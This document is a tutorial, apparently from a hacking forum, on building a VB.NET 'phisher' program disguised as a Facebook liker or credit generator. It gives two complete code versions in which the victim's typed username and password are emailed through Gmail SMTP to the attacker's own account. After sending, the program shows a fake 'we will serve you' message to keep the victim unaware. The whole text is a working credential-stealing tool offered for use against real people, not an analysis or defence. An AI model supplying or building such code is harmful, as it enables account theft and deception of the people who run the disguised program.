Today I'm gonna show you how to create a Phisher Software in VB.NET
So our Concept is to send victim an application such as Facebook Liker,Credit Generator or whatever ..
That Send the Credentials to our gmail account ...
Watch video
http://www.youtube.com/watch?v=fXyOpDNewE0&feature=youtu.be- So Create a new form in VB
- add 2 labels of name & Password
- Drag two textboxes and align them
- Now take a Button and name whatever you want---> We will name Get Likes
- Drag another Button And name it Exit ..
Design whatever you want
I have Designed in Following Way ...
Now Double Click On Submit Button(Get Likes) & Paste the following Code
Code (for Professionals)
Imports System.Net.Mail
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("Thanx we will serve you as soon as possible !")
Code (for beginners )
Erase the entire code n paste d following code !! (Refer d Video)
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("urgmailid")
MyMailMessage.To.Add("urgmailid")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body=TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("urgmailid","urgmailpassword")
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
End Sub
Private Sub Facebook_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
End Class
Now at your Gmail --->Enter your gmail ID
And at Your Password ----->Add your Password
Fill the above information where-ever necessary/required
Double Click On Exit Button and just type
End
MsgBox(" ") --->Here you can write anything that you want to display after the Operation is sucessfull ...
Debug the Program & Check if it works or Not ...
It worked for me ...
Hope works for you too ...
If any Problem just make Comments